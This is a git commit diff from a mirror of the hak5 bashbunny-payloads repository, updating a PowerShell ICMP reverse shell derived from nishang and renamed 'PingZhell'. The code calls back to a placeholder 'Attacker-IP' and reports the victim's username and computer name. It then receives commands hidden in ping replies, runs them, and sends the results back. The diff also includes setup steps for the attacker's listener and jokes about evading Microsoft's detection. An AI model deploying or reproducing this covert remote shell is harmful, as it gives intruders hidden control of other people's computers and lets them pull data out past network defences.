mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Updated to PingZhell
This commit is contained in:
@@ -1,62 +1,45 @@
|
|||||||
function Invoke-pingUin
|
|
||||||
{
|
|
||||||
<#
|
<#
|
||||||
|
|
||||||
Original script by nishang - modified by 0iphor13 for pingUinBunny
|
Original script by nishang - modified by 0iphor13 for PingZhell
|
||||||
|
|
||||||
.PARAMETER IPAddress
|
Use bunny.pl as a master
|
||||||
The IP address of the server/listener to connect to.
|
|
||||||
|
|
||||||
.PARAMETER Delay
|
When running the master, don't forget to disable ICMP replies by the OS. For example:
|
||||||
Time in seconds for which the script waits for a command from the server. Default is 5 seconds.
|
$: sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||||
|
Then:
|
||||||
.PARAMETER BufferSize
|
$: perl bunny.pl
|
||||||
The size of output Buffer. Defualt is 128.
|
|
||||||
|
|
||||||
.EXAMPLE
|
|
||||||
# sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
|
||||||
# python icmpsh_m.py 192.168.254.226 192.168.254.1
|
|
||||||
|
|
||||||
Microsoft please don't block, oh dear microsoft corporation
|
Microsoft please don't block, oh dear microsoft corporation
|
||||||
#>
|
#>
|
||||||
[CmdletBinding()] Param(
|
|
||||||
|
|
||||||
[Parameter(Position = 0, Mandatory = $true)]
|
$IPAddress = 'Attacker-IP'
|
||||||
[String]
|
$Delay = 5
|
||||||
$IPAddress,
|
$BufferSize = 128
|
||||||
|
|
||||||
[Parameter(Position = 1, Mandatory = $false)]
|
|
||||||
[Int]
|
|
||||||
$Delay = 5,
|
|
||||||
|
|
||||||
[Parameter(Position = 2, Mandatory = $false)]
|
|
||||||
[Int]
|
|
||||||
$BufferSize = 128
|
|
||||||
|
|
||||||
)
|
|
||||||
|
|
||||||
#Basic structure from http://stackoverflow.com/questions/20019053/sending-back-custom-icmp-echo-response
|
#Basic structure from http://stackoverflow.com/questions/20019053/sending-back-custom-icmp-echo-response
|
||||||
$ICMPClientsWalkinDownTheStreet = New-Object System.Net.NetworkInformation.Ping
|
$ICMPClientsWalkinDownTheStreet = New-Object System.Net.NetworkInformation.Ping
|
||||||
$PingOptions = New-Object System.Net.NetworkInformation.PingOptions
|
$PingOptions = New-Object System.Net.NetworkInformation.PingOptions
|
||||||
$PingOptions.DontFragment = $True
|
$PingOptions.DontFragment = $True
|
||||||
$MicrosoftCopyright =@"
|
$MicrosoftCopyright =@"
|
||||||
|
_______ ___ __ _ _______ _______ __ __ _______ ___ ___
|
||||||
I'll pingUin! <3
|
| | | | | | | | | | | | | | |
|
||||||
__
|
| _ | | |_| | ___|____ | |_| | ___| | | |
|
||||||
-=(o '.
|
| |_| | | | | __ ____| | | |___| | | |
|
||||||
'.-.\
|
| ___| | _ | || | ______| | ___| |___| |___
|
||||||
/| \\
|
| | | | | | | |_| | |_____| _ | |___| | |
|
||||||
'| ||
|
|___| |___|_| |__|_______|_______|__| |__|_______|_______|_______|
|
||||||
by 0iphor13 _\_):,_
|
|
||||||
|
|
||||||
Windows PowerShell running as user $env:username on $env:computername `n
|
Windows PowerShell running as user $env:username on $env:computername `n
|
||||||
"@;
|
"@;
|
||||||
|
|
||||||
# Copyright Copies Right
|
# Copyright Copies Right
|
||||||
$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($MicrosoftCopyright)
|
$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($MicrosoftCopyright)
|
||||||
$ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null
|
$ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null
|
||||||
|
|
||||||
#Show an interactive PowerShell prompt
|
#Does a german penguin just PingUin?
|
||||||
$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ')
|
$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ')
|
||||||
$ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null
|
$ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null
|
||||||
|
|
||||||
@@ -65,7 +48,6 @@ Microsoft please don't block, oh dear microsoft corporation
|
|||||||
$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('')
|
$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('')
|
||||||
$reply = $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions)
|
$reply = $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions)
|
||||||
|
|
||||||
#Check for Command from the server
|
|
||||||
if ($reply.Buffer)
|
if ($reply.Buffer)
|
||||||
{
|
{
|
||||||
$response = ([text.encoding]::ASCII).GetString($reply.Buffer)
|
$response = ([text.encoding]::ASCII).GetString($reply.Buffer)
|
||||||
@@ -102,4 +84,3 @@ Microsoft please don't block, oh dear microsoft corporation
|
|||||||
Start-Sleep -Seconds $Delay
|
Start-Sleep -Seconds $Delay
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
Reference in New Issue
Block a user